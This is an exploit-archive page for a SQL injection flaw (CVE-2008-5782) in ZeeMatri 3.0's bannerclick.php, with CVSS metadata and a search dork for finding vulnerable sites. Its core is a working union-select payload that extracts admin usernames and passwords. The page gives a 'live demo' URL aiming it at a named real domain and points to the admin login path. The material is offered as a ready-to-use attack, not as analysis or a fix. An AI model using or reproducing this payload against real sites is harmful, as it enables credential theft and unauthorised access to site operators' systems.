ZEEMATRI 3.0 (bannerclick.php adid) SQL Injection Vulnerability

2009.01.03

Credit: Hussin X

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-5782

CWE: CWE-89

Dork: \"Powered by ZeeMatri\"

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

|___________________________________________________|
|
| ZEEMATRI v3.0 (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
| Author: Hussin X
|
| Home : www.IQ-TY.com & www.TrYaG.cc
|
| email: darkangeL_G85@Yahoo.COM
|
|
|___________________________________________________
| |
|
| script: http://zeeways.com/php-software/zeematri-v3.0.html
|
| Dork: "Powered by ZeeMatri"
|
|___________________________________________________|
Exploit:
________
www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--
L!VE DEMO:
_________
http://zeematri.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--
___________________
Admin LogiN :
www.[target].com/Script/admin/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ZEEMATRI 3.0 (bannerclick.php adid) SQL Injection Vulnerability

Dork: \"Powered by ZeeMatri\"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.